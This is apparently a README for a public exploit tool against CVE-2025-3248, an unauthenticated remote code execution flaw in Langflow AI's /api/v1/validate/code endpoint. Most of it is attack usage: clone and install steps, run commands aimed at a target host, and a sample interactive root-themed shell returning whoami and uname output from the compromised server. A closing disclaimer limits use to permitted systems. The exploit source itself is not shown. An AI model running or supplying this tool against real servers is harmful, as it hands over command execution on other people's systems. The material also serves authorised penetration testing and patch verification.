
Exploit for Langflow AI Remote Code Execution (Unauthenticated)
This exploit targets a critical unauthenticated RCE vulnerability (CVE-2025-3248) in Langflow AI. The vulnerability allows an attacker to execute arbitrary system commands on the target server via the /api/v1/validate/code endpoint.
This proof-of-concept (PoC) tool provides an interactive shell for testing and demonstrating the issue.
pip3 for installing dependenciesgit clone https://github.com/yourusername/CVE-2025-3248.git
cd CVE-2025-3248
pip3 install -r requirements.txt
python3 CVE-2025-3248.py -u http://TARGET_HOST:PORT
python3 CVE-2025-3248.py -u http://127.0.0.1:7860
You will be presented with an interactive shell:
0xgh057r3c0n@root💀$ whoami
langflow
0xgh057r3c0n@root💀$ uname -a
Linux ubuntu 5.15.0-89-generic #99~20.04.1-Ubuntu SMP ...
exit or quitThis project is licensed under the MIT License — see the LICENSE file for details.
This software is provided for educational and research purposes only. The author assumes no liability for any misuse of this code. Use only on systems you own or have explicit permission to test.